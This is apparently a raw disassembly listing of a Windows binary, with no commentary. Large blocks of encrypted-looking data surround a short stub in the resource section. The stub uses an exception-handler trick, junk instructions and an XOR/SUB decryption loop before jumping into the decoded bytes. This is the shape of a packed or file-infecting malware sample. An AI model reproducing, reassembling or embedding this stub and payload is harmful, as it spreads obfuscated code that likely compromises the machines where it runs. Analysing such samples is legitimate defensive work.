dd 73FAB618h, 23436E4Fh, 0B6022A49h, 30E3C17Ch, 49FB0E57h
dd 7AF00366h, 0B3C42F0h, 48752740h, 0D5F3457h, 0E6FE9885h
dd 6B260A94h, 9D4E2C75h, 5F15EC65h, 0D965F6FDh, 32B10D00h
dd 0FBA186Dh, 6075B8C0h, 42A21BE3h, 3B525AA0h, 0F89A1CD4h
dd 5D342548h, 7FE873B4h, 6B7DC861h, 0A8B58840h, 0BAC4BED8h
dd 0F6C73DECh, 4B72AC58h, 60AA7CBh, 0CFCAEE08h, 0A483B03Ch
dd 8FD05A17h, 8C70B563h, 0F2124677h, 0E5E3AE16h, 0D4826AC9h
dd 510D05Eh, 36491200h, 616F1842h, 7C960597h, 25764494h
dd 0EA4E06C8h, 9F668C6Ch, 7BDB3675h, 0B6316634h, 0FFAC92B5h
dd 3645357Ch, 73428924h, 0F55654C4h, 272A0DFDh, 825A5B0Eh
dd 126C9A20h, 2DDFD8D9h, 0FF0A9E78h, 1139339Ch, 0A0D7AC18h
dd 9B7674FDh, 6F8049B3h, 4EF5F03Dh, 8BF2D1D4h, 4D066B74h
dd 0F8DA30ACh, 0CA0B93C6h, 3732B2D0h, 1AFB6A07h, 75BA2601h
dd 5A569AF7h, 1F874F80h, 5D266CADh, 6C4A3EBAh, 0E7B654DEh
dd 93CBDD65h, 0DE211E24h, 379C9EA5h, 28E706Ch, 0A2CDCA90h
dd 7D3F0839h, 2F6A56D8h, 593FC4FCh, 0B2B18E00h, 3E5A0F1Bh
dd 33FA5658h, 0F0D3188Ch, 404C6200h, 7D76B332h, 4E574762h
dd 0F1A7A4A1h, 0C3DAE240h, 9F078F64h, 417AE7E0h, 19371251h
dd 0BE0D50D0h, 9A3152B4h, 67D3263Eh, 0A8CD346h, 0F7B2F250h
dd 0D77BAA87h, 353A6681h, 9DE3C977h, 0DB82EAC9h, 0F7A6BC04h
dd 2B0AFD90h, 2932C05Fh, 0FC90658Ah, 3C5CC494h, 0E9DFF4D7h
dd 0C07E5805h, 5A9D6738h, 294B7513h, 6FEA9E31h, 0A5CE507Ch
dd 0F58282AEh, 0A54F1849h, 0E4E230E8h, 0B6DD2167h, 784B68FFh
dd 0BDF61AC4h, 588E190Fh, 412E608Ch, 0FC6A2C0h, 1CE0BC74h
dd 0C94E4991h, 4EE9681Ch, 0BADD8978h, 430D453h, 0CA12337h
dd 515EA740h, 137332E0h, 9506E959h, 0A0B63132h, 0B048783Ch
dd 9EBA607Fh, 0B18B0254h, 0FD4AAE91h, 76FD087h, 3C16C517h
dd 0E5B60414h, 0BECFC64Ah, 92820BC3h, 2B224A80h, 37B0CB8h
dd 2C748E28h, 719E87DAh, 6C35B5AAh, 95971434h, 55B23458h
dd 798E2D0Dh, 0FBF252DBh, 0D6A497DEh, 0CE34DEE8h, 71A724A1h
dd 4BD26240h, 1F060F64h, 0C18267E0h, 99379351h, 0BB0DD0D0h
dd 7D8E91F5h, 842FF860h, 0F7CEC055h, 92EC4F88h, 919BBD63h
dd 0D73AE681h, 2A5EA8CCh, 41A70D85h, 235EB9ACh, 0CF03919Dh
dd 0B059E25Ch, 3BECC0h, 25468214h, 10DE815Fh, 0A97EC8DCh
dd 7A178AF0h, 447175C5h, 7F3867Eh, 0EACB3386h, 0D7F29290h
dd 0BABB4AC7h, 157A06C1h, 291BEFB7h, 0F5C28AF2h, 0AD4BE215h
dd 1D0A0EBAh, 0BF067047h, 738B7E45h, 0EE1EFAE4h, 0B6198BA2h
dd 0D9B76CB1h, 8BE2AB50h, 78F2D875h, 1F63AA1Dh, 0D14EF0BCh
dd 4A92A5E8h, 458FF089h, 17BA3628h, 31E88B4Fh, 6A0141AEh
dd 0B0E0417Ch, 0F94AE657h, 0A296193Bh, 7A915F1Ah, 75AF00A9h
dd 27DA4648h, 9906BC5Ch, 0C80A24D9h, 0D805BD8Eh, 3FA3CA5Dh
dd 0F18E10FCh, 63DC0624h, 795BAA4Bh, 78FA4641h, 722BFEECh
dd 0BD42FEB8h, 6D5F7079h, 42EE1EF8h, 68B2649Ch, 0E2CBBF68h
dd 0DB175443h, 6E935330h, 0B4B60A0Bh, 7707E4F0h, 0A786BC0Dh
dd 88105683h, 9605A99Bh, 0D30229E4h, 9516B4A4h, 96C532BCh
dd 57E6B357h, 1CADFAE0h, 2D62FB9Dh, 334F8870h, 0C7EE3075h
dd 420B5FA8h, 21BB6D83h, 675A96A1h, 9D7E88ECh, 0BB5AB01Ch
dd 214BD2F7h, 0DAEA9E31h, 2C867286h, 0EFD71CC0h, 4F56C4DDh
dd 10EE53h, 0BED5216Bh, 0FBD221B4h, 0BEE6DC57h, 4695538Ch
dd 0FF8EE327h, 0CB7D22B0h, 0B4321C6Dh, 31F13D1h, 49BE7845h
dd 40E2AA50h, 818B6F82h, 192ABE71h, 8ACEB0C4h, 0A06A23E3h
dd 0F1DA2708h, 77FBB618h, 0F069C854h, 0A3684093h, 844C3CA5h
dd 1FD916DEh, 616ED8C4h, 89734400h, 6221CCCFh, 5E0F111h
dd 4B3E7704h, 0C5E5BAFBh, 60FFF19Ch, 2BEF7B77h, 718EA015h
dd 0A7325220h, 6CA5893Eh, 0A7BC62EDh, 0F266AD8Ch, 0CA2A2678h
dd 4D256DADh, 0BCF288BBh, 0EEDF975h, 330BD2C5h, 817B8D64h
dd 0C71AF661h, 0BE1EA8ACh, 738DBFD6h, 949F912Ch, 7D5164Bh
dd 1E590067h, 5302B4C8h, 539E9F85h, 0E03BF698h, 9D42FC57h
dd 4BEAC579h, 0B2313C04h, 0DFDAC0C4h, 0DF764387h, 0E8098270h
dd 25462B28h, 0E75A0608h, 71B5C6C0h, 6BA6CC7Bh, 0E249956Ah
dd 0EFFAD01Ch, 8A92D97Ch, 0DB3292A1h, 355654D1h, 2D4CD133h
dd 879114D1h, 0B70E5E1Eh, 0CB7B2D54h, 880A0E56h, 0B1F09821h
dd 0BBDD53C0h, 684E6100h, 4A253E1Bh, 0FED7C040h, 206D176Fh
dd 4D16AA0Ch, 13EC2FD3h, 8FAA7345h, 0D575B2D0h, 0B51BEB0Ch
dd 92BA266Ah, 681DD01Fh, 9B02BAF0h, 0B0DA8A7Ch, 0B707C757h
dd 936EF09Eh, 82866828h, 0D4BF903h, 0A2DA568Ah, 9F010036h
dd 2EF0A39Ch, 0F555879Dh, 2F6A4DF8h, 0F268940Bh, 68B5D220h
dd 75E652E0h, 0F9F2E16Bh, 0C58A187Ch, 1DC7D7D8h, 2669CD4h
dd 0BCB55A3Eh, 1BEDEF4h, 0EB22E843h, 28B51007h, 9D2090Bh
dd 3E3E289Ch, 0C7A913DBh, 8EA12903h, 53156E18h, 4F46C355h
dd 5801F250h, 9516B391h, 1932F1ABh, 9A0438BCh, 0DAA707C8h
dd 9DA65099h, 618A0738h, 51E27D87h, 4206A8A8h, 4DB3AB83h
dd 5E5A960Ah, 297EEC71h, 97270B10h, 0ACC6DC76h, 7FAC46DDh
dd 580ED57Ch, 75411E67h, 0B556D491h, 6E8253C3h, 399E1C8Fh
dd 0FD829B30h, 0BCFA1557h, 6FCC76FDh, 5CFE8E9Ch, 0F3945A15h
dd 0B30BC5E4h, 0D19AB6E6h, 0CECD28B1h, 0BE22AA7h, 0CD06805Dh
dd 96A9E298h, 514E0441h
dd 28B0B2E0h, 0D5216F13h, 0D545B628h, 6DA14D4Dh, 0EEF7D220h
dd 721F0D73h, 9F5A0010h, 0E67111B1h, 23A2845Ch, 0A3EE7F27h
dd 2463C638h, 690E46D0h, 0B05D4A1Bh, 0ED56CA70h, 2CA5D6EAh
dd 719E4E5Ch, 33EF79B2h, 3061444h, 0B719AE3Fh, 0B3AB988Ch
dd 1603D3CCh, 0EDA819D6h, 81EE59D3h, 8D63A00Ch, 62E226C3h
dd 0E13A9575h, 0D2854584h, 11C321EFh, 0EB627A92h, 4BBED77Fh
dd 6212EE08h, 0B20D2990h, 53F272C9h, 2C243F04h, 0D02CEAEFh
dd 9466F9E7h, 0AA814672h, 9AB583F3h, 3649148Ah, 22D29CE7h
dd 633B06E7h, 8F5E5A4h, 681C1F63h, 0A91EACB6h, 9EF0AA10h
dd 49D2D1F4h, 0B12E89DFh, 3697D06Ch, 734254E0h, 0EDEDB51h
dd 747D16E8h, 0B9AE16E4h, 0B9673DD6h, 0FBE9167Fh, 3CC476Ch
dd 0E96922E2h, 83A52107h, 457B64E4h, 45232608h, 89C3188h
dd 0B9771707h, 8E067C92h, 8C394340h, 0D14EEFB6h, 7BDC8690h
dd 0C255756Eh, 17CAFCE6h, 0D4BD38D1h, 9B03BDF8h, 0B9B2A494h
dd 10B2D357h, 906E00DCh, 0CD8D6A5h, 42091F90h, 80CC716Bh
dd 0E9BFAF40h, 0ED6E3DAFh, 0FA058CA4h, 2F7A44AAh, 0AF629385h
dd 0CC9AD210h, 0A4D69444h, 0D2DB828Dh, 13D5D171h, 53B52C55h
dd 8BB66C3Dh, 0E373AC21h, 1530101h, 0EB2FCAF7h, 949E0543h
dd 1A1A6688h, 38E3F691h, 70D44764h, 0B7AF9A24h, 0EE8FD241h
dd 0B9A53021h, 12F1DA3Fh, 9516A26Ch, 191F27A8h, 6E0955ADh
dd 0B4F4AA80h, 0FAD2E36Ah, 0ECA195Fh, 0FC161EC4h, 0E32A2A9Fh
dd 289C4A4h, 3D3B1E0Bh, 844C6BD3h, 0D408A1A4h, 17EFFA64h
dd 4ECF3281h, 19E55061h, 723137BFh, 32E300F4h, 778A9958h
dd 0CF6EBCF6h, 70C1CF31h, 0BDF6EE3Eh, 162EB201h, 312C8211h
dd 90124CC0h, 0D5B71C81h, 0D76A7608h, 364E1B8Bh, 0C4A2A40h
dd 9906E874h, 4601ADC2h, 6110C431h, 17DC06E0h, 812BF53Bh
dd 1ABAA66Ah, 0EE1D6C90h, 1B127C3Ch, 0EF486773h, 6229BEA8h
dd 2236D369h, 2E842F0h, 0F5B49E99h, 8E524748h, 69790C7Bh
dd 0B0AB4A90h, 0ED56CAECh, 0A640CE02h, 818CEE71h, 4272D520h
dd 0F5D6B0C8h, 673AEF68h, 0A9216E3Ch, 3BAA595Ah, 27261CD4h
dd 954C4997h, 1931A00Ch, 4A566F5Fh, 7EF6246Ah, 0D7DC2A0Dh
dd 0A9CB23ACh, 0C8627A92h, 1DC81469h, 797C3D18h, 260D803Ch
dd 5302B00Eh, 8D5BC07h, 0D73F212Ch, 645ECECCh, 4BC42645h
dd 833BCD14h, 62CAEE16h, 25FD59B4h, 631285DEh, 6366BF2Dh
dd 208D06B8h, 0F94F85EFh, 3CA624C1h, 6B22B713h, 7C690E48h
dd 0B11ECA42h, 0F741D225h, 35564F3Eh, 74034DBBh, 0B9AE16E0h
dd 931349E1h, 3DF55C53h, 859F73A8h, 462ED0BAh, 0B6D6AF00h
dd 0BE7664E9h, 175C0E8Dh, 0E036A52Ch, 6E2AAE2h, 0CABDA4BFh
dd 0F3A651Ch, 0B14EF0BCh, 1875B875h, 55A6646Ch, 0D8BDE8FBh
dd 3A1507A3h, 0DD863DF9h, 0E09E7C84h, 0AA4A3EA1h, 6671DCA7h
dd 0A3A2B2A8h, 0A6B9D237h, 851F5DFh, 0A7BA8BF5h, 0AAE5CA80h
dd 0E64C514Bh, 82F7397Bh, 0B00519F4h, 0FC82D314h, 74BED3AFh
dd 0DE34D518h, 82CCEF63h, 45C5C544h, 1D989BE0h, 0CAC6A783h
dd 3FB114DEh, 8B166D30h, 64CF0D43h, 0F79F8F49h, 0C83E386Eh
dd 0DB863E5Bh, 0B15EC07h, 4FAA6E70h, 0B81DB57Fh, 9BAF7D6Bh
dd 5916A4C5h, 906D9B33h, 67FF0478h, 0B2FCC6F6h, 4386A016h
dd 0C3BE3214h, 0DEA22A78h, 4B87025Ch, 0A6C17B87h, 243241A5h
dd 56897CECh, 0EBF4CBC3h, 0A0B94743h, 7275C3F7h, 7BD7A199h
dd 19B61F63h, 7A1595A3h, 0AD4F571Fh, 44B9DC1Bh, 32FF674Fh
dd 0C0D8E997h, 16898EFCh, 0F0FE7BFBh, 8761EF74h, 0E835C5E9h
dd 5C02EFDBh, 0FEFD518Ah, 0B7DC8240h, 0AEAEDD53h, 96A92336h
dd 8C8C5C40h, 0BB4463FFh, 0D596F4FAh, 5E39D7D0h, 59DE90ABh
dd 9C5F3A70h, 0CD1AE981h, 0A2C465B8h, 0BC1280DCh, 7B47CBD2h
dd 0C1B61466h, 28C0A8D1h, 64D8438Ah, 2B25EB15h, 21A491B4h
dd 3050A4DBh, 7C536017h, 33B523A5h, 0DF195D44h, 0B7FAF668h
dd 78641B9Bh, 0FE385AB0h, 79751A10h, 0BF8ADF54h, 5EB65DA7h
dd 0A37202A0h, 464A073h, 0A757E688h, 841EC8CCh, 4B650B54h
dd 0D511B1F4h, 0F2AAEE18h, 19F67F32h, 56F16F8Fh, 5587811h
dd 5A88F7A8h, 185EF8ADh, 0B3823E91h, 0F065CE8Fh, 0E2C48047h
dd 4671C05Ch, 632244C0h, 1D78B9A4h, 26AC053h, 0D882F52Dh
dd 6EA7A350h, 3D10D3FCh, 0B16A89E1h, 0F711D06Ch, 73320AACh
dd 4DA754C5h, 7EF97446h, 82204B1Ch, 5B739A20h, 1669E764h
dd 0DFF41E68h, 5906A7FAh, 29F60AB4h, 93FB45C3h, 0DADCB217h
dd 4D53178Eh, 26E2BA29h, 0C98B5559h, 0F2A3E71h, 854FF0BCh
dd 17F727C2h, 5496641Dh, 64BA3628h, 5D437758h, 6A02AA49h
dd 0C4DD8D73h, 9BD7BDC2h, 0E16EF0F5h, 0BA2C200h, 65B6842Ah
dd 27E05E81h, 41D6086Ch, 9A217046h, 0A682073Eh, 0ABF04EC8h
dd 187CC26h, 2F375A20h, 13D6845Dh, 0B37F2308h, 0F11E08A5h
dd 5042DAB0h, 8FE31CDDh, 408A4ED1h, 86E563F0h, 0C3E2F9C4h
dd 95F6A464h, 0AC9A6F9Ch, 94E4F88h, 4B125ED5h, 9D7F9F91h
dd 0AE9E6918h, 0A8CEBBCh, 87F7F250h, 119B3D02h, 573A6681h
dd 6D6238CCh, 0A73F7AF9h, 9BA6AC2Dh, 0FC4D054Fh, 21FE7EA0h
dd 35B82A80h, 0E4DE6583h, 0BFD9AB65h, 297E46BDh, 0AD1E959Bh
dd 42C9CC24h, 6FFA50D8h, 2C4AA5E4h, 0C4B61FBFh, 2C56D4C6h
dd 673C5E3Dh, 57CCD0Ch, 27AA4833h, 0C0A5AD31h, 7F0CB7FAh
dd 25F8DF9Ch, 0A3522260h, 8FC8C66Fh, 8AAE900Bh, 0CEF57806h
dd 0BF251D4h, 0AD06EC74h, 4B3BAADh, 515EAE04h, 0C02E56Dh
dd 4A21F4F4h, 97CAA650h, 0E2B5DC9Fh, 1B023414h, 0CD264721h
dd 3CBDBEA8h, 5F91806Dh, 0A889A613h, 0E5C6EBA8h, 0C7DAC648h
dd 696C0C7Bh, 9E214A90h, 521734DCh, 3CF58377h, 719E4E94h
dd 0B7C124A5h, 0F5D614BCh, 79F261F3h, 0AFA9987Ch, 1F8CD9A0h
dd 9D661C34h, 529228E3h, 80F7AD1Eh, 0D00D56D2h, 50634CCh
dd 0D7025913h, 0DBF0A89Ch, 0CE86965Bh, 1D961499h, 2E2DEE18h
dd 91CEB024h, 5B6CFB60h, 141E6A85h, 52B1733Fh, 89203451h
dd 0DF078FF0h, 5DA62C2Dh, 0ABCAFE38h, 0A006515Eh, 733B8E12h
dd 63FAAF2Dh, 0DAE506B8h, 9C6EC714h, 7BDB0E95h, 2DC68C34h
dd 5EECBA58h, 0D8361F74h, 4C31CFBCh, 0C45948AFh, 0EB6C2FD0h
dd 1DD10ABDh, 0D04F41EFh, 3DF673C4h, 4152B101h, 2561E08Ch
dd 5461607Fh, 6FDD756h, 0F19A2609h, 0D9B766A1h, 0A4E89D50h
dd 395CE426h, 5FB30C8Ah, 2735D823h, 1ECC2FFFh, 0B99684Eh
dd 933FC318h, 0D9DEE865h, 1822BA70h, 4C5B77D5h, 618EC141h
dd 667100CCh, 0A3A2B2A8h, 65DEDDA7h, 42DA4648h, 6C87E02Fh
dd 0AB22CA43h, 0A086078Bh, 2F6B4EC8h, 0F44210FCh, 53BA1367h
dd 3634E4h, 2733D2EDh, 0F91E188Ch, 6D492EB4h, 101D51BCh
dd 0C4159897h, 1BEDE60h, 8E5BE563h, 0FC03F98Ch, 57DC2615h
dd 0A04085ACh, 0A3AD63D3h, 860A27CBh, 4FAD6E08h, 2582303Ch
dd 95BA75EBh, 0A19B474h, 574A38F8h, 57CABBCFh, 0D383FAE0h
dd 24B6029Fh, 4F8C12BDh, 29B8175Ch, 0AD9B0313h, 0B578C3ACh
dd 6732274Bh, 6702CB77h, 7B0A0A00h, 0AEC6CC5Dh, 70C3969Ah
dd 0C698A03Fh, 0F3420922h, 7EDA4F9Bh, 777A96D8h, 3B52780Ch
dd 0EB2A9533h, 0BD5CDC44h, 588E190Fh, 412E608Ch, 0F7C722C2h
dd 422D9EC2h, 87AACD8Ch, 49C2682Ch, 806C30E5h, 0CD1623F7h
dd 88AE292Fh, 114E70ACh
dd 1EE732E0h, 1398ED8Eh, 7910B892h, 0CFE78DA3h, 0B5C40C77h
dd 28C82696h, 2A2E708Bh, 5FFD24FEh, 5F4FC3B8h, 0E5B61466h
dd 91994257h, 1E3DB1CBh, 2B328C28h, 1FB89793h, 5CE9CEC8h
dd 719E4ED0h, 71D8E53Fh, 6A631434h, 0B70A1888h, 0B7C60B19h
dd 0ED935AA0h, 4A251C3Eh, 0BF9A2034h, 5B14137Bh, 98D16230h
dd 506E2A0h, 0AD407127h, 0FECBA89Ch, 4B72A998h, 4BDED7D3h
dd 680EE08h, 0A1CC4EB1h, 2F97F360h, 151624C6h, 0D73A0E6Bh
dd 0EF3BB8CCh, 0DA6FF9F1h, 55A62C2Ch, 5C0B03C8h, 0A1FEB3DCh
dd 0E6D5C205h, 18E6E56Ch, 0F4DA8189h, 0D6C1C8DCh, 6BCC8A00h
dd 0AEEC6089h, 0D3F6EA74h, 1121034Dh, 0F231D6C8h, 4D5B9FA3h
dd 7EF9603Dh, 0C4DD8674h, 0AF0794Fh, 93CB481h, 0FF2FB66Ah
dd 0E9CEE09Ch, 2251FF25h, 1018B39h, 742756ECh, 0C9CE27F4h
dd 0B1EA7ADBh, 4B0CA2F5h, 370049ABh, 0D18DF0BCh, 93DCF66Bh
dd 0C2552436h, 17CAFCBAh, 5AE63CCFh, 0AA41E64Eh, 0DC2907D0h
dd 81B23A7Eh, 49AD1936h, 82915F9Fh, 512EC185h, 2DA4648h
dd 0E9ED70FDh, 0B80ACA90h, 0AB468CB4h, 5F224EB8h, 598E10FCh
dd 0B3B2D210h, 0BDD6B006h, 37FA55EDh, 0F91E15F4h, 0BB6E9CB0h
dd 814A4861h, 570D84C5h, 21C7FC1Ch, 0C3D2E268h, 614A1964h
dd 51A5A958h, 0F2E4832Dh, 0F24AEAC0h, 0AE451DD4h, 4DAA6ADAh
dd 0FD3313Dh, 0D6105F63h, 0F6D0192Dh, 0FB0B8D0Dh, 0FD88FDh
dd 155Fh dup(0)
; =============== S U B R O U T I N E =======================================
sub_100F400 proc near ; CODE XREF: .rsrc:01007444p
; FUNCTION CHUNK AT 0100F452 SIZE 00000003 BYTES
mov ecx, ecx
jmp short $+2
pusha
push ebp
mov ebp, esp
call loc_100F41C
stc
cld
call sub_100F4C4
stc
cld
stc
jmp loc_100F452
sub_100F400 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_100F41C: ; CODE XREF: sub_100F400+8p
push dword ptr fs:0
mov fs:0, esp
xor ds:dword_100F456, ebp
stc
xor edx, edx
push edx
push 80000000h
push 80000000h
push edx
push 80000000h
push edx
push edx
push 80000000h
push edx
push edx
push edx
call ds:GetLastError
; START OF FUNCTION CHUNK FOR sub_100F400
loc_100F452: ; CODE XREF: sub_100F400+17j
cld
cmc
stc
; END OF FUNCTION CHUNK FOR sub_100F400
; ---------------------------------------------------------------------------
db 0BDh
dword_100F456 dd 0 ; ---------------------------------------------------------------------------
cld
cld
mov esi, [ebp-8]
mov fs:0, esi
cmc
jmp short $+2
xchg ebx, ebx
cmc
mov eax, eax
sub esi, esi
sub ecx, ecx
nop
clc
nop
mov cl, 19h
mov edx, edx
loc_100F478: ; CODE XREF: .rsrc:0100F47Ej
lea esi, [esi+1]
mov eax, eax
cmc
loop loc_100F478
mov eax, eax
nop
call sub_100F4BF
xchg ebx, ebx
stc
sub edx, 0FFFFFFA4h
push edx
sub edi, edi
or edi, 2990h
loc_100F49A: ; CODE XREF: .rsrc:0100F4A9j
call sub_100F4D4
clc
inc edx
inc esi
sub edi, 1
nop
cmp edi, 0
jnz short loc_100F49A
pop edx
stc
cld
leave
clc
mov [esp+14h], edx
xchg ebx, ebx
nop
popa
xchg ebx, ebx
stc
jmp edx
; ---------------------------------------------------------------------------
stc
clc
; =============== S U B R O U T I N E =======================================
sub_100F4BF proc near ; CODE XREF: .rsrc:0100F483p
pop edx
stc
jmp edx
sub_100F4BF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cld
; =============== S U B R O U T I N E =======================================
sub_100F4C4 proc near ; CODE XREF: sub_100F400+Fp
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_100F4C4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 87h, 0DBh
; ---------------------------------------------------------------------------
clc
; =============== S U B R O U T I N E =======================================
sub_100F4D4 proc near ; CODE XREF: .rsrc:loc_100F49Ap
xchg al, [edx]
xchg ebx, ebx
stc
sub ax, si
clc
cld
xchg al, [edx]
retn
sub_100F4D4 endp
; ---------------------------------------------------------------------------
align 4
dd 1C1B1A01h, 4423A91Dh, 0A3ABAD1Dh, 0B127264Eh, 2C5DF1C1h
dd 3010AF2Dh, 0BF373231h, 0AC3B5A91h, 0ECC49364h, 403F7008h
dd 6DC6CACBh, 0D04645h, 4C4B7C18h, 0C43747CDh, 0D9EBDD59h
dd 4357567Eh, 0E0F35D62h, 0EB5F5E86h, 7FEE64BCh, 0E94FF1BAh
dd 716F8ED5h, 0F16F6E6Dh, 8483775Eh, 9CF30175h, 0C30077Dh
dd 397F8EB6h, 84838281h, 3A6F2A78h, 178B8A89h, 903A7655h
dd 55BE9291h, 98D40F09h, 139B9A9Ah, 0A0821F0Fh, 25A2A191h
dd 10FBF420h, 0B41F1D12h, 0B1AF992Eh, 0A328B2B1h, 0FBBA7940h
dd 340B45F5h, 10F73F23h, 0C7AC3706h, 0E8395198h, 0CFE31454h
dd 0D37C1FC0h, 4C543894h, 4D274AD7h, 0E1535BE2h, 4420414Ch
dd 0CEC5E755h, 110FD13Eh, 5E760EF5h, 0E3F24711h, 42F7A900h
dd 0FB137080h, 832F85F4h, 858CF100h, 4131342h, 0EF57916Bh
dd 0C0B3FF1h, 9B59F90Dh, 244C9696h, 18173B15h, 3B8F1E19h
dd 24439AA8h, 5DABD7AEh, 0B3D42635h, 3C6DF6C6h, 0BBD3D92Dh
dd 447506EEh, 8ECC135h, 993B4A7Bh, 3704D00h, 0FD960C01h
dd 48476E88h, 5C7B24D4h, 10D22177h, 0DA32D852h, 0B34A382Bh
dd 5C21821Ch, 4CD49E5Dh, 0AC2A1564h, 54D1941Eh, 6B942A8Ah
dd 16D237D3h, 5CC54293h, 0F835B6FAh, 0DDCA2C30h, 7652A391h
dd 0C5F9302Ah, 0DE1899BDh, 0CA7BCFB6h, 1D3DCE8Dh, 0DB45520Dh
dd 79E9CA22h, 0E6A4EC0h, 2023CD4Fh, 2D57E120h, 389714C2h
dd 0AFA4D2ADh, 0F0D2EE1Dh, 0B3FEF684h, 37E5756Ch, 0CC8FA8DAh
dd 4F5583DDh, 0C48403CAh, 815A86BDh, 0CD659A3Ah, 5C82272h
dd 0D43554C1h, 6DBEA32Bh, 61A09ADDh, 608533EDh, 8984A9E8h
dd 68853BADh, 6C4A2DADh, 70553E12h, 9495710h, 0FB35360Dh
dd 0CBA42CAh, 46403EDDh, 149320CAh, 3D6E47BDh, 0C55081Fh
dd 0A549032Ah, 0DD14D2FDh, 0D6B713FAh, 3CD6DADDh, 0A094E9C5h
dd 0B940C1CDh, 0A885A48Bh, 3BD0526Eh, 0B055C2A1h, 48087D8Dh
dd 7B3436D7h, 3CB5FA95h, 0F69207E5h, 0AC851273h, 0C8F578D9h
dd 0E1300AD7h, 0D0E5CC33h, 0D850528Ah, 0D8B5981Bh, 5CDAA75Ch
dd 6B95AE6Dh, 707CDBE4h, 0D5F6A63Dh, 6CD53AADh, 22743AAh
dd 1914327Dh, 0E4B418ECh, 0E651C54Dh, 59D5F1E5h, 9FCAD7C2h
dd 0B324C6ADh, 0E3DEC6B8h, 2C904C8Dh, 94443ABCh, 0AD78D67Eh
dd 9C3598FBh, 0A57522E0h, 4389718Dh, 0BF75E63Fh, 0ADFB6A17h
dd 3051EEC5h, 0B4C55A0Dh, 0CD38F6FEh, 0BCB5B83Bh, 0C4183E62h
dd 0C48584CFh, 0B0450657h, 0CC698A2Dh, 38960E87h, 0D5EB6901h
dd 58B6FECDh, 71909AEEh, 60855C93h, 0E505AC65h, 9E02A53Dh
dd 0D4E5BAE3h, 70552E22h, 0F4C38366h, 0D13520FDh, 6BBC490h
dd 0BEBBD31Ch, 0F56CC25Dh, 0DE5AC980h, 0C65DA23h, 9201D2ACh
dd 1AEDD20Dh, 0E6B5567Dh, 68619E99h, 1202DD5Dh, 0B105F2B3h
dd 0B880BCD2h, 0B99E1DADh, 0C0472C7Ah, 0C7CFA38Dh, 0B8336955h
dd 2E127D6Dh, 0C0158EDBh, 46858644h, 4D6C86BDh, 4C55486Fh
dd 5FD67EFCh, 641D6D8Ah, 0B232217Dh, 5B252A03h, 65189FCDh
dd 64155BA5h, 262F2BB8h, 0DCF02ABDh, 1FD23D1Eh, 0FFC54296h
dd 8F7007Ah, 7BAB9D6Dh, 8598BF8Eh, 84957B71h, 46435338h
dd 95C44A3Dh, 9FD6BF7Ch, 0A41E1B8Ah, 193D3E7Dh, 59A25AEDh
dd 20851D25h, 0A4ABB148h, 98D83F13h, 0AF86EDA9h, 2954AEC7h
dd 1EC55C3Ch, 1B828305h, 75A58A5Ah, 4015FEF6h, 0C25286C2h
dd 0AE9885CCh, 19691798h, 50D50E9Dh, 1BD23D2Bh, 3CC3C181h
dd 19992F72h, 0C6F91E6Dh, 8F27A446h, 4A7368C0h, 5619351Ah
dd 0E279161Dh, 0C04CB28Dh, 3CAC3657h, 0FCBDBA17h, 0EA1D3EDDh
dd 6ED3930Dh, 1D1816BBh, 0C5508F3h, 0D011D1D5h, 14533EA5h
dd 261E17Dh, 86E165EDh, 0A95481Dh, 24ABB4CFh, 0A863D295h
dd 7DE5D4ADh, 0AFA5EDC7h, 44DF48FAh, 3DDE55FDh, 43290904h
dd 4D157EDEh, 549502FAh, 0D45C3FBDh, 3BDC0A2Dh, 0BD5633F0h
dd 5435220Dh, 0EC711BFAh, 3C901ADDh, 0BB72ADh, 0F9C0A167h
dd 0E885E46Bh, 0E1906A2Ah, 0F11A16F1h, 852D328Dh, 4B35B6FDh
dd 0DECAFE0Ah, 7245A592h, 0F0EE3826h, 892ADE2h, 911FB27Ch
dd 0C548CE9Dh, 943514C1h, 56136BACh, 9B785ADDh, 306704F2h
dd 0E054CCDh, 7E02653Fh, 65E57AE3h, 3055EF05h, 3DA69DFCh
dd 8FE11AF9h, 0FA2B0F04h, 3624FEEDh, 3B727D0h, 9CF506ADh
dd 6ADA09FCh, 0D5D51EBBh, 1AE786CDh, 0CAB19400h, 1919D3h
dd 0CA950865h, 7A9A21A7h, 0ED75364Bh, 7F119EEDh, 7052B4C5h
dd 850EE58Dh, 0FDFE70E0h, 0FCB5F93Bh, 0FC967092h, 77E4E669h
dd 0B0A139CFh, 1A080BAEh, 0E4A54E9Dh, 6476A8BDh, 2D78294Dh
dd 1C3518B3h, 144E9EE2h, 48B961C4h, 0DEF2F535h, 14E5FAE4h
dd 0AF08EB62h, 5A3A7140h, 0A335862Bh, 64E97BF3h, 17157EDEh
dd 82A79734h, 5D9886ADh, 4C55480Bh, 0CFCC4C06h, 0BEFB1294h
dd 42B5807Dh, 0C42504EDh, 0E0919E5Eh, 642B6648h, 736990EDh
dd 0C203A9E9h, 0F0418D35h, 5C0E658Dh, 0F7B835C7h, 91F4CFF2h
dd 5143BEEDh, 1980121Eh, 8050497h, 4F858EB0h, 10ADA6D5h
dd 94458421h, 18B5E418h, 9C255AEEh, 2095DE5Dh, 0A40562CDh
dd 28750FC1h, 0ACE56AADh, 2FA4C4CEh, 0C4DFA4FAh, 0E4DEA1FDh
dd 0B75ABAE9h, 0CD546C7Fh, 0D49E7FDAh, 0DD98D8BDh, 0CC55C8B7h
dd 92199326h, 0EA6D92FDh, 0A4B5167Dh, 51FC8954h, 0C9A3EECDh
dd 49318B7Bh, 0C9BF0B24h, 2D8A9F91h, 588FE1Dh, 0F4B5F09Fh
dd 0BA65BB76h, 5864BA5Dh, 0E5641F9Fh, 69F2A303h, 0F29315E1h
dd 7F39AD4Ah, 0E3C124D9h, 1459B5AAh, 0A014919h, 1C7FBFD1h
dd 1325020h, 8DC7C7F9h, 0A8364B99h, 8D0ADCF0h, 198F53B1h
dd 9512D761h, 26CE66EDh, 7FA5BB8Ch, 34F6630Fh, 0B373D2AAh
dd 3B246B60h, 0BEA40AEEh, 35416F82h, 0C3F2F73Fh, 40617BB1h
dd 0C006FF3Fh, 45A3615Dh, 0B82A166Eh, 49D29815h, 0DEA42A89h
dd 55018F42h, 0E0B021B9h, 68499B55h, 0EAF46C40h, 6864AE7Eh
dd 0C9853624h, 5CA1AFC5h, 0ED4A3C55h, 798FCE01h, 0FD7937A1h
